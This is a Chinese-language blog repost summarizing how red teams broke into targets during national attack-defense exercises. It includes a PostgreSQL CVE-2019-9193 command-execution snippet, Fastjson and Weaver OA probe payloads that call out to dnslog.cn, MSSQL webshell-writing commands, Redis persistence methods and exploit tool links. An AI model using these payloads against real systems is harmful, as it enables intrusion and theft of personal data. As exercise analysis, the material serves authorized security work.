HW红队|攻防演练中攻击方的思路总结

admin 2022年6月28日09:46:58评论46 views字数 4596阅读15分19秒阅读模式

前言


在本篇文防演练中攻击方是如何打开缺口的方法的总结。


本篇文章数据来源于18+省市级别HVV,90+单位失陷报告。(一部分是笔者的参与,一部分是薅的公司其他师傅的报告)思路朴素不包含钓鱼和叼炸天的0day

HW红队|攻防演练中攻击方的思路总结


突破入口点方法统计图:


HW红队|攻防演练中攻击方的思路总结


攻防演练中得分项只关注两点,权限&数据权限类型分为系统权限和应用权限,权限高低又分为管理员权限和普通用户权限。

数据一般是要四件套,姓名,手机号,身份证,住址。


通常敏感数据这样定义,不过看当前的应用可能敏感信息的定义又会不同,比如医院系统,病例信息就算是敏感数据。


根据上述统计结果由高到低选取部分得分方法进行说明。


弱口令[web应用]


弱口令是永远修复不了的漏洞,每场攻防演练都会有弱口令撕开的口子(出现次数29)

这里讨论的是一些web应用的弱口令,不包括统计结果的PostgreSQL/Redis/VPN/Jenkins/Adminer的弱口令。

说起弱口令那就不得不提爆破的技巧了。


爆破前应想办法绕过验证码,部分验证码存在不刷新或是有验证的逻辑错误可绕过的情况。


通常在忘记密码处可能会存在用户名枚举漏洞。


对于用户名字典,根据当前的系统可猜测为姓名简称或是工号ID。


也可翻阅当前登录框的JS正则或是Google信息搜索进行合理猜测。


在有大量用户基数的情况下,通常固定弱口令遍历用户名效果最佳。


在多次通过SQL注入获取登录后台密码md5解密后的情况来看,管理员以域名简称或是系统简称+@年份出现,或是相关的简称的密码概率不小。


如:某消防系统/bjtuxfk[xxxx消防科],某妇联后台/gzfl@2020。


好用的字典
https://github.com/fuzz-security/SuperWordlist
https://github.com/gh0stkey/Web-Fuzzing-Box

弱口令[其他]


数据库弱口令只遇见了PostgreSQL/Redis,其它未遇见可能那些常见使用的数据库经常使用,剩下的可能连运维都不知道这开着的。


PostgreSQL(从版本9.3至11.2)任意命令执行漏洞(CVE-2019-9193)

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

Redis

连上先info查看Server信息[redis版本和OS信息]:


Redis 4.x/5.x RCE

https://github.com/Dliv3/redis-rogue-server
https://github.com/0671/RedisModules-ExecuteCommand-for-Windows

Linux

写计划任务,写公钥,写webshell[知道web路径]


Windows

写启动项,写webshell[知道web路径]

C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
https://github.com/r35tart/RedisWriteFile

windows说实话没遇到过,权限够了,先写启动项,再想办法给它干重启[YY的没打过QAQ]

这两篇windows&redis蛮细的:

https://xz.aliyun.com/t/8153
https://xz.aliyun.com/t/7940

VPN弱口令

如果是WebVPN的话,用户基数大,可以固定弱口令按照学号工号ID爆破。案例中的VPN弱口令是一个客户端,需要下载,密码不像是试出来的,更像是从Google/Git信息泄露,或是知道该员工的手机号扔进裤子里,根据里面的信息拼凑出来的[个人猜测]。


Jenkins弱口令

后台脚本命令行可执行命令,LOLBAS下载执行没啥说的。


Adminer弱口令

mysql写webshell也没啥说的。


shiro反序列化


shiro永远的神!没有shiro我都不知道怎么日站了(出现次数28)

这两年来shiro反序列化可谓是攻防演练中的漏洞利用之首,无论是公司自研的资产收集平台还是git上优秀的项目ShuiZe等等都带着shiro指纹的识别。


专找目标的shiro也很简单,目标发散到域名发散到子域名发散到IP到全端口,将这些URL导入shiro识别工具。


再跑key,再利用。


统计的28个shiro中有27个通过OneforAll或是FoFa等方式收集,其中有一个shiro在微信公众号中找到的。


好用的tools:

https://github.com/pmiaowu/BurpShiroPassiveScan
https://github.com/wyzxxz/shiro_rce_tool
https://github.com/j1anFen/shiro_attack

任意文件上传[通用]


朴实无华(出现次数10)

一般情况下拿shell最快的方法就是找上传,我们应该快速验证上传是否是基于后端的白名单校验。


如果是后端的白名单校验,在没有解析漏洞或是其它漏洞的组合下,我们应该放弃该接口。需要注意的是我们在上传文件判断黑白名单时,上传的文件内容最好是无害的,否则可能会WAF干扰。


我们一定要清楚该次上传失败是因为程序本身的限制还是WAF的阻拦。切忌对upload接口fuzz,雷声大雨点小。


值得一提的是在统计的10次上传中,有一次在微信小程序,有一个swagger信息泄露upload接口,有一次在某银行的在线聊天系统,点击人工时,会出现传图片的按钮。


客服系统:

HW红队|攻防演练中攻击方的思路总结

HW红队|攻防演练中攻击方的思路总结


还有一个案例:


进入后台通过Kindeditor文件上传,又通过XXXX进行文件管理,有重命名功能,改为.php。getshell。


文件上传绕WAF的本质就是服务器与WAF对数据包解析的差异性,下面提供几个畸形数据包:


HW红队|攻防演练中攻击方的思路总结

HW红队|攻防演练中攻击方的思路总结

Fastjson反序列化


也好用(出现次数6)

判断是否为fastjson:报错抛出异常或是DNSlog

{"rand1":{"@type":"java.net.InetAddress","val":"gbi7ge.dnslog.cn"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"gbi7ge.dnslog.cn"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"gbi7ge.dnslog.cn"}}

遇见WAF:


hex编码或是b:


HW红队|攻防演练中攻击方的思路总结


详见:

https://www.sec-in.com/article/950
https://xz.aliyun.com/t/7568

好用的tools:


https://github.com/pmiaowu/BurpFastJsonScan
https://github.com/wyzxxz/fastjson_rce_tool
https://github.com/feihong-cs/JNDIExploit

敏感信息泄露


苍蝇再小也是肉(出现次数5)

医院啊,这个比较多遇见的案例都是微信公众号或是小程序,遍历病例数据:


HW红队|攻防演练中攻击方的思路总结



HW红队|攻防演练中攻击方的思路总结


还遇见了swagger信息泄露构造接口查询:


HW红队|攻防演练中攻击方的思路总结

UEditor1.4.3任意文件上传


出其不意(出现次数5)

当遇见.NET的网站时,右键查看图片URL为~/ueditor~/upload/image/[20200101]这种年月格式/25位数字.png,就可以判断该站点使用了UEditor[直接目录扫描工具扫也行],就需要我们拼接出路径~/net/controller.ashx

~前面可能不太固定需要自己在JS里找信息,或是合理猜测。


提一嘴,之前遇见个站点
.png?.aspx,站点返回了404,可以直接.png.aspx同时UEditor有过滤?的特性,在有WAF的时候可酌情使用。

HW红队|攻防演练中攻击方的思路总结

HW红队|攻防演练中攻击方的思路总结

MSSQL堆叠注入


基操

--os-shell后,得到一个命令行,一般是certutil下载执行或是powershell直接上线。也可写入webshell:


找静态资源定位物理路径
for /r C: %i in (*xxx*) do @echo %i
dir /s/a-d/b C:*xxx.xxx
echo ^<一句话^> >C:phpstudy_proWWWshell.txt
<>注意使用^转义

HW红队|攻防演练中攻击方的思路总结

HW红队|攻防演练中攻击方的思路总结

OA系统


没啥说的,有0day砸0day

泛*OA,致*OA,通*OA,用*NC

github搜搜搜,内部自己有积累未批露利用点最好。

泛*OA的两个案例用的WorkflowServiceXml反序列化比较丝滑。

判断是否可利用:

POST /services%20/WorkflowServiceXml HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 523
Content-Type: text/xml;charest=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string>
<map>
<entry>
<url>http://m5alw5.dnslog.cn</url>
<string>http://m5alw5.dnslog.cn</string>
</entry>
</map>
</web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>

HW红队|攻防演练中攻击方的思路总结

杂七杂八


SQL注入获取敏感数据感觉没啥提的,记得sqlmap加上参数random-agent。


S2在外网见的少了,也不知道大佬咋翻墙进去的。


历史遗留后门404.jsp成了入口点也是离谱。


各种debug信息泄露云key导入行云管家证明权限就OK。


已经语无伦次了......

闲言闲语


柿子捡软的捏

web打点本就是个效率活,打得就是软柿子,不要给你一个站点测了半天到最后才发现:咦这里有个上传/shiro/fastjson....这就耽误功夫了,要带着目的性,尽量减少试错的过程,少做无用功。


作者:先知-17岁的one

原文地址:https://xz.aliyun.com/t/10400


声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.


学习更多渗透技能!供靶场练习技能



HW红队|攻防演练中攻击方的思路总结

扫码领白帽黑客视频资料及工具


HW红队|攻防演练中攻击方的思路总结


原文始发于微信公众号(渗透师老A):HW红队|攻防演练中攻击方的思路总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月28日09:46:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HW红队|攻防演练中攻击方的思路总结http://cn-sec.com/archives/1140089.html

发表评论

匿名网友 填写信息